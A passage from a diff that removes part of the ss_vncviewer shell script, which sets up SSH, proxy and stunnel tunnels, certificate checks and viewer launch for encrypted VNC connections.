- if [ "X$SSVNC_LIM_ACCEPT_PRELOAD" != "X" ]; then
- SSVNC_LIM_ACCEPT_PRELOAD="$SSVNC_BASEDIR/$SSVNC_UNAME/$SSVNC_LIM_ACCEPT_PRELOAD"
- fi
- if [ "X$SSVNC_LIM_ACCEPT_PRELOAD" != "X" ]; then
- echo ""
- echo "SSVNC_LIM_ACCEPT_PRELOAD=$SSVNC_LIM_ACCEPT_PRELOAD"
- fi
-
- if [ "X$SSVNC_LIM_ACCEPT_PRELOAD" != "X" -a -f "$SSVNC_LIM_ACCEPT_PRELOAD" ]; then
- plvar=LD_PRELOAD
- if uname | grep Darwin >/dev/null; then
- plvar="DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES"
- fi
- ssh="env $plvar=$SSVNC_LIM_ACCEPT_PRELOAD $ssh"
- else
- SSVNC_LIM_ACCEPT_PRELOAD=""
- fi
-
- ssh_vencrypt_proxy=""
- # We handle vencrypt for SSH+SSL mode.
- if echo "$proxy" | grep 'vencrypt://' > /dev/null; then
- proxynew=""
- for part in `echo "$proxy" | tr ',' ' '`
- do
- if echo "$part" | egrep -i '^vencrypt://' > /dev/null; then
- ssh_vencrypt_proxy=$part
- else
- if [ "X$proxynew" = "X" ]; then
- proxynew="$part"
- else
- proxynew="$proxynew,$part"
- fi
- fi
- done
- proxy=$proxynew
- fi
- Kecho ssh_vencrypt_proxy=$ssh_vencrypt_proxy
-
- # note that user must supply http:// for web proxy in SSH and SSH+SSL.
- # No xxxx:// implies ssh server+port.
- #
- if echo "$proxy" | egrep '(http|https|socks|socks4|socks5)://' > /dev/null; then
- # Handle Web or SOCKS proxy(ies) for the initial connect.
- Kecho host=$host
- Kecho port=$port
- pproxy=""
- sproxy1=""
- sproxy_rest=""
- for part in `echo "$proxy" | tr ',' ' '`
- do
- Kecho proxy_part=$part
- if [ "X$part" = "X" ]; then
- continue
- elif echo "$part" | egrep -i '^(http|https|socks|socks4|socks5)://' > /dev/null; then
- pproxy="$pproxy,$part"
- else
- if [ "X$sproxy1" = "X" ]; then
- sproxy1="$part"
- else
- sproxy_rest="$sproxy_rest,$part"
- fi
- fi
- done
- pproxy=`echo "$pproxy" | sed -e 's/^,,*//' -e 's/,,*/,/g'`
- sproxy_rest=`echo "$sproxy_rest" | sed -e 's/^,,*//' -e 's/,,*/,/g'`
-
- Kecho pproxy=$pproxy
- Kecho sproxy1=$sproxy1
- Kecho sproxy_rest=$sproxy_rest
-
- sproxy1_host=""
- sproxy1_port=""
- sproxy1_user=""
-
- if [ "X$sproxy1" != "X" ]; then
- sproxy1_host=`echo "$sproxy1" | awk -F: '{print $1}'`
- sproxy1_user=`echo "$sproxy1_host" | awk -F@ '{print $1}'`
- sproxy1_host=`echo "$sproxy1_host" | awk -F@ '{print $2}'`
- if [ "X$sproxy1_host" = "X" ]; then
- sproxy1_host=$sproxy1_user
- sproxy1_user=""
- else
- sproxy1_user="${sproxy1_user}@"
- fi
- sproxy1_port=`echo "$sproxy1" | awk -F: '{print $2}'`
- if [ "X$sproxy1_port" = "X" ]; then
- sproxy1_port="22"
- fi
- else
- sproxy1_host=`echo "$host" | awk -F: '{print $1}'`
- sproxy1_user=`echo "$sproxy1_host" | awk -F@ '{print $1}'`
- sproxy1_host=`echo "$sproxy1_host" | awk -F@ '{print $2}'`
- if [ "X$sproxy1_host" = "X" ]; then
- sproxy1_host=$sproxy1_user
- sproxy1_user=""
- else
- sproxy1_user="${sproxy1_user}@"
- fi
- sproxy1_port=`echo "$host" | awk -F: '{print $2}'`
- if [ "X$sproxy1_port" = "X" ]; then
- sproxy1_port="22"
- fi
- fi
-
- Kecho sproxy1_host=$sproxy1_host
- Kecho sproxy1_port=$sproxy1_port
- Kecho sproxy1_user=$sproxy1_user
-
- ptmp="/tmp/ss_vncviewer_ssh${RANDOM}.$$.pl"
- ptmp=`mytmp "$ptmp"`
- PPROXY_REMOVE=1; export PPROXY_REMOVE
- proxy=$pproxy
- port_save=$port
- host_save=$host
- if [ "X$sproxy1_host" != "X" ]; then
- host=$sproxy1_host
- fi
- if [ "X$sproxy1_port" != "X" ]; then
- port=$sproxy1_port
- fi
- host=`echo "$host" | sed -e 's/^.*@//'`
- port=`echo "$port" | sed -e 's/^.*://'`
- pcode "$ptmp"
- port=$port_save
- host=$host_save
-
- nd=`findfree 6600`
- PPROXY_LISTEN=$nd; export PPROXY_LISTEN
- # XXX no reverse forever PPROXY_LOOP_THYSELF ...
- $ptmp &
- sleep 1
- if [ "X$ssh_NHAFL" != "X" -a "X$did_ssh_NHAFL" != "X1" ]; then
- NHAFL_warning
- ssh_args="$ssh_args $ssh_NHAFL"
- did_ssh_NHAFL=1
- fi
- sleep 1
- if [ "X$sproxy1" = "X" ]; then
- u=""
- if echo "$host" | grep '@' > /dev/null; then
- u=`echo "$host" | sed -e 's/@.*$/@/'`
- fi
-
- proxy="${u}$localhost:$nd"
- else
- proxy="${sproxy1_user}$localhost:$nd"
- fi
- localhost_extra=".2"
- if [ "X$sproxy_rest" != "X" ]; then
- proxy="$proxy,$sproxy_rest"
- fi
- Kecho proxy=$proxy
- fi
-
- if echo "$proxy" | grep "," > /dev/null; then
-
- proxy1=`echo "$proxy" | awk -F, '{print $1}'`
- proxy2=`echo "$proxy" | awk -F, '{print $2}'`
-
- # user1@gw1.com:port1,user2@ws2:port2
- ssh_host1=`echo "$proxy1" | awk -F: '{print $1}'`
- ssh_port1=`echo "$proxy1" | awk -F: '{print $2}'`
- if [ "X$ssh_port1" != "X" ]; then
- ssh_port1="-p $ssh_port1"
- fi
- ssh_host2=`echo "$proxy2" | awk -F: '{print $1}'`
- ssh_user2=`echo "$ssh_host2" | awk -F@ '{print $1}'`
- ssh_host2=`echo "$ssh_host2" | awk -F@ '{print $2}'`
- if [ "X$ssh_host2" = "X" ]; then
- ssh_host2=$ssh_user2
- ssh_user2=""
- else
- ssh_user2="${ssh_user2}@"
- fi
- ssh_port2=`echo "$proxy2" | awk -F: '{print $2}'`
- if [ "X$ssh_port2" = "X" ]; then
- ssh_port2="22"
- fi
- proxport=`findfree 3500`
- if [ "X$ssh_NHAFL" != "X" -a "X$did_ssh_NHAFL" != "X1" ]; then
- NHAFL_warning
- did_ssh_NHAFL=1
- sleep 1
- fi
- echo
- echo "Running 1st ssh proxy:"
- ukhf=""
- if [ "X$ssh_UKHF" != "X" ]; then
- ukhf="$ssh_UKHF$localhost_extra"
- fi
- if echo "$ssh_host1" | grep '%' > /dev/null; then
- uath=`space_expand "$ssh_host1"`
- else
- uath="$ssh_host1"
- fi
- echo "$ssh -f -x $ssh_port1 $targ -e none $ssh_NHAFL $ukhf -L $proxport:$ssh_host2:$ssh_port2 \"$uath\" \"sleep 30\""
- echo ""
- $ssh -f -x $ssh_port1 $targ -e none $ssh_NHAFL $ukhf -L $proxport:$ssh_host2:$ssh_port2 "$uath" "sleep 30"
- ssh_args="$ssh_args $ssh_NHAFL"
- sleep 1
- stty sane
- proxy="${ssh_user2}$localhost:$proxport"
- fi
-
- if [ "X$proxy" != "X" ]; then
- ssh_port=`echo "$proxy" | awk -F: '{print $2}'`
- if [ "X$ssh_port" = "X" ]; then
- ssh_port="22"
- fi
- ssh_host=`echo "$proxy" | awk -F: '{print $1}'`
- vnc_host="$host"
- fi
-
- echo ""
- echo "Running ssh:"
- sz=`echo "$ssh_cmd" | wc -c`
- if [ "$sz" -gt 300 ]; then
- info="..."
- else
- info="$ssh_cmd"
- fi
-
- C=""
- if [ "X$SS_VNCVIEWER_USE_C" != "X" ]; then
- C="-C"
- fi
-
- getport=""
- teeport=""
- if echo "$ssh_cmd" | egrep "(PORT=|P=) " > /dev/null; then
- getport=1
- if echo "$ssh_cmd" | egrep "P= " > /dev/null; then
- teeport=1
- fi
-
- PORT=""
- ssh_cmd=`echo "$ssh_cmd" | sed -e 's/PORT=[ ]*//' -e 's/P=//'`
- SSVNC_NO_ENC_WARN=1
- if [ "X$use_sshssl" = "X" ]; then
- direct_connect=1
- fi
- fi
- if [ "X$getport" != "X" ]; then
- ssh_redir="-D ${use}"
- elif [ "X$reverse" = "X" ]; then
- ssh_redir="-L ${use}:${vnc_host}:${port}"
- else
- ssh_redir="-R ${port}:${vnc_host}:${use}"
- fi
- pmark=`sh -c 'echo $$'`
-
- # the -t option actually speeds up typing response via VNC!!
- if [ "X$ssh_port" = "X22" ]; then
- ssh_port=""
- else
- ssh_port="-p $ssh_port"
- fi
-
- if echo "$ssh_host" | grep '%' > /dev/null; then
- uath=`space_expand "$ssh_host"`
- else
- uath="$ssh_host"
- fi
- if [ "X$SS_VNCVIEWER_SSH_ONLY" != "X" ]; then
- echo "$ssh -x $ssh_port $targ $C $ssh_args \"$uath\" \"$info\""
- echo ""
- $ssh -x $ssh_port $targ $C $ssh_args "$uath" "$ssh_cmd"
- exit $?
-
- elif [ "X$SS_VNCVIEWER_NO_F" != "X" ]; then
- echo "$ssh -x $ssh_port $targ $C $ssh_redir $ssh_args \"$uath\" \"$info\""
- echo ""
- $ssh -x $ssh_port $targ $C $ssh_redir $ssh_args "$uath" "$ssh_cmd"
- rc=$?
-
- elif [ "X$getport" != "X" ]; then
- tport=/tmp/ss_vncviewer_tport${RANDOM}.$$
- tport=`mytmp "$tport"`
- tport2=/tmp/ss_vncviewer_tport2${RANDOM}.$$
- tport2=`mytmp "$tport2"`
-
- if [ "X$rsh" != "X1" ]; then
- if echo "$ssh_cmd" | grep "sudo " > /dev/null; then
- echo ""
- echo "Initial ssh with 'sudo id' to prime sudo so hopefully the next one"
- echo "will require no password..."
- echo ""
- targ="-t"
- $ssh -x $ssh_port $targ $ssh_args "$uath" "sudo id; tty"
- echo ""
- fi
- echo "$ssh -x -f $ssh_port $targ $C $ssh_redir $ssh_args \"$uath\" \"$info\""
- echo ""
- $ssh -x -f $ssh_port $targ $C $ssh_redir $ssh_args "$uath" "$ssh_cmd" > $tport 2> $tport2
- if [ "X$teeport" = "X1" ]; then
- tail -f $tport 1>&2 &
- tail_pid=$!
- tail -f $tport2 1>&2 &
- tail_pid2=$!
- fi
- rc=$?
- else
- rsh_setup
- echo "rsh $ul \"$ssh_host\" \"$ssh_cmd\""
- echo ""
- rsh $ul "$ssh_host" "$ssh_cmd" > $tport &
- sleep 1
- rc=0
- fi
-
- if [ "X$SSVNC_EXTRA_SLEEP" != "X" ]; then
- echo "sleep $SSVNC_EXTRA_SLEEP"
- sleep $SSVNC_EXTRA_SLEEP
- fi
-
- stty sane
- i=0
- if type perl > /dev/null 2>&1; then
- imax=50
- sleepit="perl -e 'select(undef, undef, undef, 0.20)'"
- else
- imax=10
- sleepit="sleep 1"
- fi
- while [ $i -lt $imax ]; do
- #echo $sleepit
- eval $sleepit
- PORT=`grep "^PORT=" $tport | tr '\r' ' ' | head -n 1 | sed -e 's/PORT=//' -e 's/\r//g' -e 's/ *$//'`
- if echo "$PORT" | grep '^[0-9][0-9]*$' > /dev/null; then
- break
- fi
- vnss=`sed -e 's/\r//g' $tport $tport2 | egrep -i '^(New.* desktop is|A VNC server is already running).*:[0-9[0-9]*$' | head -n 1 | awk '{print $NF}'`
- if [ "X$vnss" != "X" ]; then
- PORT=`echo "$vnss" | awk -F: '{print $2}'`
- if echo "$PORT" | grep '^[0-9][0-9]*$' > /dev/null; then
- if [ $PORT -lt 100 ]; then
- PORT=`expr $PORT + 5900`
- fi
- fi
- if echo "$PORT" | grep '^[0-9][0-9]*$' > /dev/null; then
- vnss=`sed -e 's/\r//g' $tport | egrep -i '^(New.* desktop is|A VNC server is already running).*:[0-9[0-9]*$' | head -n 1`
- echo "vncserver string: $vnss" 1>&2
- break
- fi
- fi
- i=`expr $i + 1`
- done
-
- echo "found: PORT='$PORT'" 1>&2
- lh6=""
- if [ "X$SSVNC_PORT_IPV6" != "X" ]; then
- lh6=1
- elif egrep 'Info: listening on IPv6 only|Info: listening only on IPv6' $tport > /dev/null; then
- lh6=1
- fi
- if [ "X$lh6" = "X1" ]; then
- echo "set SOCKS5 localhost to ::1" 1>&2
- fi
- rm -f $tport $tport2
- if [ "X$rsh" = "X1" ]; then
- rsh_viewer "$@"
- exit $?
- fi
- PPROXY_SOCKS=5
- if [ "X$SSVNC_SOCKS5" != "X" ]; then
- PPROXY_SOCKS=5
- elif [ "X$SSVNC_SOCKS4" != "X" ]; then
- PPROXY_SOCKS=1
- fi
- export PPROXY_SOCKS
- if [ "X$lh6" = "X" ]; then
- host="$localhost"
- else
- host="::1"
- fi
- port="$PORT"
- proxy="$localhost:$use"
-
- else
- if [ "X$rsh" != "X1" ]; then
- echo "$ssh -x -f $ssh_port $targ $C $ssh_redir $ssh_args \"$uath\" \"$info\""
- echo ""
- $ssh -x -f $ssh_port $targ $C $ssh_redir $ssh_args "$uath" "$ssh_cmd"
- rc=$?
- else
- rsh_setup
- echo "rsh $ul \"$ssh_host\" \"$ssh_cmd\""
- echo ""
- rsh $ul "$ssh_host" "$ssh_cmd" &
- sleep 1
- PORT=$port
- rsh_viewer "$@"
- exit $?
- fi
- fi
-
- if [ "$rc" != "0" ]; then
- echo ""
- echo "ssh to \"$uath\" failed."
- exit 1
- fi
- stty sane
-
- c=0
- pssh=""
- while [ $c -lt 40 ]
- do
- p=`expr $pmark + $c`
- pout=`ps -p "$p" 2>/dev/null | grep -v '^[ ]*PID' | sed -e 's/-L.*$//' -e 's/-x .*$//'`
- if echo "$pout" | grep "ssh" > /dev/null; then
- if echo "$pout" | egrep -i 'ssh.*(-add|-agent|-ask|-keygen|-argv0|vnc)' >/dev/null; then
- :
- elif echo "$pout" | egrep -i 'scp|sshd' >/dev/null; then
- :
- else
- pssh=$p
- break
- fi
- fi
- c=`expr $c + 1`
- done
- if [ "X$getport" != "X" ]; then
- :
- elif [ "X$SSVNC_LIM_ACCEPT_PRELOAD" != "X" ] ; then
- sleep 2
- elif [ "X$ssh_cmd" = "Xsleep $ssh_sleep" ] ; then
- #echo T sleep 1
- sleep 1
- elif echo "$ssh_cmd" | grep '^sleep ' >/dev/null; then
- #echo T sleep 2
- sleep 2
- else
- # let any command get started a bit.
- #echo T sleep 5
- sleep 5
- fi
- echo ""
- #reset
- stty sane
- if [ "X$SSVNC_EXTRA_SLEEP" != "X" ]; then
- echo "sleep $SSVNC_EXTRA_SLEEP"
- sleep $SSVNC_EXTRA_SLEEP
- fi
- echo "ssh_pid='$pssh'"; echo
- if [ "X$use_sshssl" = "X" -a "X$getport" = "X" ]; then
- echo "Running viewer:"
-
- trap "final" 0 2 15
- if [ "X$reverse" = "X" ]; then
- echo "$VNCVIEWERCMD" "$@" $localhost:$N
- echo ""
- $VNCVIEWERCMD "$@" $localhost:$N
- if [ $? != 0 ]; then
- echo "vncviewer command failed: $?"
- if [ "X$secondtry" = "X1" ]; then
- sleep 2
- $VNCVIEWERCMD "$@" $localhost:$N
- fi
- fi
- else
- echo ""
- echo "NOTE: Press Ctrl-C to terminate viewer LISTEN mode."
- echo ""
- N2=$N
- if [ "X$VNCVIEWER_IS_REALVNC4" = "X1" ]; then
- N2=`echo "$N2" | sed -e 's/://g'`
- if [ $N2 -le 200 ]; then
- N2=`expr $N2 + 5500`
- fi
- fi
- echo "$VNCVIEWERCMD" "$@" -listen $N2
- echo ""
- $VNCVIEWERCMD "$@" -listen $N2
- fi
-
- exit $?
- else
- use2=`findfree 5960`
- host0=$host
- port0=$port
- host=$localhost
- port=$use
- use=$use2
- N=`expr $use - 5900`
- if [ "X$getport" != "X" ]; then
- host="$host0"
- port="$port0"
- else
- proxy=""
- fi
- if [ "X$ssh_vencrypt_proxy" != "X" ]; then
- ssh_vencrypt_proxy="vencrypt://$host:$port"
- if [ "X$proxy" = "X" ]; then
- proxy=$ssh_vencrypt_proxy
- else
- proxy="$proxy,$ssh_vencrypt_proxy"
- fi
- Kecho "proxy_now=$proxy"
- unset PPROXY_LISTEN
- fi
- fi
-fi
-
-if [ "X$stunnel_set_here" = "X1" -a "X$showcert" = "X" ]; then
- if type $STUNNEL > /dev/null 2>&1; then
- :
- else
- echo ""
- echo "***************************************************************"
- echo "** Problem finding the Stunnel command '$STUNNEL': **"
- echo ""
- type $STUNNEL
- echo ""
- echo "** Perhaps you need to install the stunnel/stunnel4 package. **"
- echo "***************************************************************"
- echo ""
- sleep 5
- fi
-fi
-
-# create the stunnel config file:
-if [ "X$verify" != "X" ]; then
- if [ -d $verify ]; then
- verify="CApath = $verify"
- else
- verify="CAfile = $verify"
- fi
- verify="$verify
-verify = 2"
-fi
-if [ "X$SSVNC_STUNNEL_VERIFY3" != "X" ]; then
- verify=`echo "$verify" | sed -e 's/verify = 2/verify = 3/'`
-fi
-if [ "X$mycert" != "X" ]; then
- cert="cert = $mycert"
-fi
-if [ "X$crl" != "X" ]; then
- if [ -d $crl ]; then
- crl="CRLpath = $crl"
- else
- crl="CRLfile = $crl"
- fi
-fi
-
-if [ "X$showcert" = "X1" ]; then
- if [ "X$have_uvnc_dsm_helper_showcert" = "X1" ]; then
- :
- elif [ "X$SSVNC_NO_IPV6_PROXY" != "X" ]; then
- :
- elif [ "X$ipv6" = "X1" -a "X$proxy" = "X" ]; then
- proxy="ipv6://$host:$port"
- fi
-fi
-
-if [ "X$direct_connect" != "X" -a "X$STUNNEL_LISTEN" != "X" ]; then
- proxy=reverse_direct
-fi
-
-ptmp=""
-if [ "X$proxy" != "X" ]; then
- ptmp="/tmp/ss_vncviewer${RANDOM}.$$.pl"
- ptmp=`mytmp "$ptmp"`
- PPROXY_REMOVE=1; export PPROXY_REMOVE
- pcode "$ptmp"
- if [ "X$showcert" != "X1" -a "X$direct_connect" = "X" ]; then
- if uname | egrep 'Darwin|SunOS' >/dev/null; then
- vout=`echo "$proxy" | grep -i vencrypt`
- if [ "X$vout" != "X" -a "X$reverse" = "X1" ]; then
- # need to exec for reverse vencrypt
- connect="exec = $ptmp"
- else
- # on mac and solaris we need to listen on socket instead of stdio:
- nd=`findfree 6700`
- PPROXY_LISTEN=$nd
- export PPROXY_LISTEN
- if [ "X$reverse" = "X" ]; then
- $ptmp &
- fi
- sleep 2
- host="$localhost"
- port="$nd"
- connect="connect = $localhost:$nd"
- fi
- else
- # otherwise on unix we can exec it:
- connect="exec = $ptmp"
- fi
- else
- connect="exec = $ptmp"
- fi
-else
- connect="connect = $host:$port"
-fi
-
-# handle showcert case:
-#
-if [ "X$showcert" = "X1" ]; then
- if [ "X$proxy" != "X" ]; then
- PPROXY_LISTEN=$use
- export PPROXY_LISTEN
- if [ "X$SS_DEBUG" != "X" ]; then
- $ptmp &
- else
- $ptmp 2>/dev/null &
- fi
- sleep 1
- more_sleep=1
- if uname | grep Linux > /dev/null; then
- if netstat -ant | grep LISTEN | grep "127.0.0.1:$use" > /dev/null; then
- more_sleep=""
- fi
- elif uname | grep SunOS > /dev/null; then
- if netstat -an -f inet -P tcp | grep LISTEN | grep "127.0.0.1.$use" > /dev/null; then
- more_sleep=""
- fi
- elif uname | egrep -i 'bsd|darwin' > /dev/null; then
- if netstat -ant -f inet | grep LISTEN | grep "127.0.0.1.$use" > /dev/null; then
- more_sleep=""
- fi
- fi
- if [ "X$more_sleep" = "X1" ]; then
- sleep 1
- fi
- host="$localhost"
- port="$use"
- fi
- cipher_args=""
- if [ "X$ciphers" != "X" ]; then
- cipher_args=`echo "$ciphers" | sed -e 's/ciphers=/-cipher /'`
- fi
- if [ "X$have_uvnc_dsm_helper_showcert" = "X1" ]; then
- :
- elif type openssl > /dev/null 2>&1; then
- :
- else
- echo ""
- echo "********************************************************"
- echo "** Problem finding the OpenSSL command 'openssl': **"
- echo ""
- type openssl 2>&1
- echo ""
- echo "** Perhaps you need to install the 'openssl' package. **"
- echo "********************************************************"
- echo ""
- fi
- #echo "openssl s_client $cipher_args -connect $host:$port"
- if [ "X$reverse" = "X" ]; then
- if type host > /dev/null 2>/dev/null; then
- host $host >/dev/null 2>&1
- host $host >/dev/null 2>&1
- fi
- timeout=15
- if [ "X$SSVNC_FETCH_TIMEOUT" != "X" ]; then
- timeout=$SSVNC_FETCH_TIMEOUT
- fi
- if [ "X$have_uvnc_dsm_helper_showcert" = "X1" ]; then
- if type pkill >/dev/null 2>&1; then
- (sleep $timeout; if kill -0 $$; then pkill -TERM -f "ultravnc_dsm_helper.*$host.*$port"; fi) >/dev/null 2>&1 &
- fi
- ultravnc_dsm_helper showcert $host:$port 2>&1
- else
- if type pkill >/dev/null 2>&1; then
- (sleep $timeout; if kill -0 $$; then pkill -TERM -f "openssl.*s_client.*$host.*$port"; fi) >/dev/null 2>&1 &
- fi
- openssl s_client $cipher_args -prexit -connect $host:$port 2>&1 < /dev/null
- fi
- rc=$?
- else
- tcert=""
- if [ "X$mycert" = "X" ]; then
- tcert=`make_tcert`
- cert_args="-cert $tcert -CAfile $tcert"
- else
- cert_args="-cert $mycert -CAfile $mycert"
- fi
- tmp_out=/tmp/showcert_out${RANDOM}.$$
- tmp_out=`mytmp "$tmp_out"`
- tmp_err=/tmp/showcert_err${RANDOM}.$$
- tmp_err=`mytmp "$tmp_err"`
-
- #echo "openssl s_server $cipher_args $cert_args -accept $port -verify 2 > $tmp_out 2> $tmp_err" 1>&2
-
- # assume we have perl:
- check_perl perl
-
- perl -e "
- \$p = open(O, \"|openssl s_server $cipher_args $cert_args -accept $port -verify 2 1>$tmp_out 2> $tmp_err\");
- exit 1 unless \$p;
- while (1) {
- sleep 1;
- if (!open(F, \"<$tmp_out\")) {
- kill \$p;
- exit 1;
- }
- while (<F>) {
- if (/RFB 00/) {
- fsleep(0.25);
- print O \"RFB 000.000\\n\";
- fsleep(1.00);
- kill \$p;
- fsleep(0.25);
- exit 0;
- }
- }
- close F;
- }
- sub fsleep {
- select(undef, undef, undef, shift);
- }
- ";
-
- echo ""
- cat $tmp_out
- echo ""
- echo "----2----"
- cat $tmp_err
- if grep BEGIN.CERTIFICATE $tmp_out >/dev/null; then
- rc=0
- else
- rc=1
- fi
-
- rm -f $tmp_out $tmp_err
- fi
- if [ "X$SSVNC_PREDIGESTED_HANDSHAKE" != "X" ]; then
- rm -f $SSVNC_PREDIGESTED_HANDSHAKE
- fi
- if [ "X$SSVNC_SHOWCERT_EXIT_0" = "X1" ]; then
- exit 0
- else
- exit $rc
- fi
-fi
-
-# handle direct connect case:
-#
-if [ "X$direct_connect" != "X" ]; then
- if [ "X$SSVNC_ULTRA_DSM" != "X" ]; then
- SSVNC_NO_ENC_WARN=1
- echo ""
- echo "Using UltraVNC DSM Plugin key for encryption:"
- echo ""
- ustr=`echo "$SSVNC_ULTRA_DSM" | sed -e 's/pw=[^ ]*/pw=******/g'`
- echo " $ustr PORT HOST:PORT"
- echo ""
- elif [ "X$getport" = "X" ]; then
- echo ""
- echo "Running viewer for direct connection:"
- if echo X"$@" | grep chatonly > /dev/null; then
- :
- else
- echo ""
- echo "** WARNING: THERE WILL BE NO SSL OR SSH ENCRYPTION **"
- echo ""
- fi
- fi
- x=""
- if [ "X$SSVNC_NO_ENC_WARN" != "X" ]; then
- if [ "X$getport" = "X" ]; then
- sleep 1
- fi
- elif type printf > /dev/null 2>&1; then
- printf "Are you sure you want to continue? [y]/n "
- read x
- else
- echo -n "Are you sure you want to continue? [y]/n "
- read x
- fi
- if [ "X$x" = "Xn" ]; then
- exit 1
- fi
- echo ""
- if [ "X$ptmp" != "X" ]; then
- if [ "X$reverse" = "X" ]; then
- PPROXY_LISTEN=$use
- export PPROXY_LISTEN
- else
- if [ "X$proxy" = "Xreverse_direct" ]; then
- PPROXY_LISTEN="$STUNNEL_LISTEN:`expr 5500 + $disp`"
- PPROXY_DEST="$localhost:$use"
- PPROXY_PROXY="ipv6://$localhost:$use" # not always ipv6..
- export PPROXY_LISTEN PPROXY_DEST PPROXY_PROXY
- pps=1
- else
- PPROXY_REVERSE="$localhost:$use"
- export PPROXY_LISTEN
- pps=3
- fi
- if [ "X$SSVNC_LISTEN_ONCE" != "X1" ]; then
- PPROXY_LOOP_THYSELF=`mytmp "/tmp/pproxy_loop_thyself.${RANDOM}.$$"`
- export PPROXY_LOOP_THYSELF
- pps=2
- fi
- if [ "X$SSVNC_EXTRA_SLEEP" != "X" ]; then
- pps=`expr $pps + $SSVNC_EXTRA_SLEEP`
- fi
- PPROXY_SLEEP=$pps; export PPROXY_SLEEP;
- PPROXY_KILLPID=+1; export PPROXY_KILLPID;
- fi
-
- $ptmp &
-
- if [ "X$reverse" = "X" ]; then
- #sleep 2
- #echo T sleep 1
- sleep 1
- fi
- host="$localhost"
- disp="$N"
- port=`expr $disp + 5900`
- fi
- if [ "X$SSVNC_EXTRA_SLEEP" != "X" ]; then
- echo "T sleep $SSVNC_EXTRA_SLEEP"
- sleep $SSVNC_EXTRA_SLEEP
- fi
- if [ "X$reverse" = "X" ]; then
- hostdisp="$host:$disp"
- if [ "X$SSVNC_ULTRA_DSM" != "X" ]; then
- if [ "X$SSVNC_USE_OURS" = "X1" ]; then
- hostdisp="exec=$SSVNC_ULTRA_DSM 0 $host:$port"
- else
- pf=`findfree 5970`
- cmd="$SSVNC_ULTRA_DSM -$pf $host:$port"
- pf=`expr $pf - 5900`
- hostdisp="$localhost:$pf"
- ustr=`echo "$cmd" | sed -e 's/pw=[^ ]*/pw=******/g'`
- echo "Running:"
- echo
- echo "$ustr &"
- echo
- $cmd &
- dsm_pid=$!
- sleep 2
- fi
- fi
- hostdisp2=`echo "$hostdisp" | sed -e 's/pw=[^ ]*/pw=******/g'`
- echo "$VNCVIEWERCMD" "$@" "$hostdisp2"
- trap "final" 0 2 15
- echo ""
- $VNCVIEWERCMD "$@" "$hostdisp"
- if [ $? != 0 ]; then
- echo "vncviewer command failed: $?"
- if [ "X$secondtry" = "X1" ]; then
- sleep 2
- $VNCVIEWERCMD "$@" "$hostdisp"
- fi
- fi
- else
- echo ""
- echo "NOTE: Press Ctrl-C to terminate viewer LISTEN mode."
- echo ""
- trap "final" 0 2 15
- if [ "X$SSVNC_ULTRA_DSM" != "X" ]; then
- if [ "X$SSVNC_LISTEN_ONCE" = "X1" ]; then
- echo "NOTE: The ultravnc_dsm_helper only runs once. So after the first LISTEN"
- echo " ends you must restart the Listening mode. You may also need to"
- echo " Press Ctrl-C to stop the viewer and restart for another connection."
- echo ""
- fi
- #SSVNC_LISTEN_ONCE=1; export SSVNC_LISTEN_ONCE
- VNCVIEWER_LISTEN_LOCALHOST=1
- export VNCVIEWER_LISTEN_LOCALHOST
- dport=`expr 5500 + $disp`
- cmd="$SSVNC_ULTRA_DSM $dport $localhost:$use"
- ustr=`echo "$cmd" | sed -e 's/pw=[^ ]*/pw=******/g'`
- echo "Running:"
- echo
- echo "$ustr &"
- echo
- if [ "X$SSVNC_LISTEN_ONCE" = "X1" ]; then
- $cmd &
- dsm_pid=$!
- else
- while [ 1 ]; do $cmd; sleep 1; done &
- dsm_pid=$!
- fi
- sleep 2
- disp=$use
- if [ $disp -ge 5500 ]; then
- disp=`expr $disp - 5500`
- fi
- fi
- disp2=$disp
- if [ "X$VNCVIEWER_IS_REALVNC4" = "X1" ]; then
- disp2=`echo "$disp2" | sed -e 's/://g'`
- if [ $disp2 -le 200 ]; then
- disp2=`expr $disp2 + 5500`
- fi
- fi
- echo "$VNCVIEWERCMD" "$@" -listen $disp2
- echo ""
- $VNCVIEWERCMD "$@" -listen $disp2
- if [ "X$PPROXY_LOOP_THYSELF" != "X" ]; then
- rm -f $PPROXY_LOOP_THYSELF
- fi
- fi
- exit $?
-fi
-
-tmp_cfg=/tmp/ss_vncviewer${RANDOM}.$$
-tmp_cfg=`mytmp "$tmp_cfg"`
-
-stunnel_exec=""
-if [ "X$SSVNC_USE_OURS" != "X1" ]; then
- :
-elif echo $STUNNEL_EXTRA_SVC_OPTS | grep '#stunnel-exec' > /dev/null; then
- stunnel_exec="#"
-fi
-
-if [ "X$reverse" = "X" ]; then
-
- if echo "$proxy" | grep "^repeater://" > /dev/null; then
- if [ "X$cert" = "XBUILTIN" ]; then
- ttcert=`make_tcert`
- cert="cert = $ttcert"
- fi
- # Note for listen mode, an empty cert will cause stunnel to fail.
- # The ssvnc gui will have already taken care of this.
- fi
-
- cat > "$tmp_cfg" <<END
-foreground = yes
-pid =
-client = yes
-debug = $stunnel_debug
-$ciphers
-$STUNNEL_EXTRA_OPTS
-$STUNNEL_EXTRA_OPTS_USER
-$cert
-$crl
-$verify
-
-${stunnel_exec}[vnc_stunnel]
-${stunnel_exec}accept = $localhost:$use
-$connect
-$STUNNEL_EXTRA_SVC_OPTS
-$STUNNEL_EXTRA_SVC_OPTS_USER
-
-END
-
-else
- # REVERSE case:
-
- stunnel_exec="" # doesn't work for listening.
-
- p2=`expr 5500 + $N`
- connect="connect = $localhost:$p2"
- if [ "X$cert" = "XBUILTIN" ]; then
- ttcert=`make_tcert`
- cert="cert = $ttcert"
- fi
- # Note for listen mode, an empty cert will cause stunnel to fail.
- # The ssvnc gui will have already taken care of this.
-
-
- hloc=""
- if [ "X$use_ssh" = "X1" ]; then
- hloc="$localhost:"
- elif [ "X$STUNNEL_LISTEN" != "X" ]; then
- hloc="$STUNNEL_LISTEN:"
- fi
- if echo "$proxy" | grep -i '^vencrypt:' > /dev/null; then
- hloc="$localhost:"
- pv=`findfree 5570`
- proxy="vencrypt:$pv:$port"
- port=$pv
- if [ "X$anondh_set" = "X1" ]; then
- # not needed for ANONDH in this mode
- #ciphers="ciphers = ADH:@STRENGTH"
- :
- fi
- fi
- cat > "$tmp_cfg" <<END
-foreground = yes
-pid =
-client = no
-debug = $stunnel_debug
-$ciphers
-$STUNNEL_EXTRA_OPTS
-$STUNNEL_EXTRA_OPTS_USER
-$cert
-$crl
-$verify
-
-[vnc_stunnel]
-accept = $hloc$port
-$connect
-$STUNNEL_EXTRA_SVC_OPTS
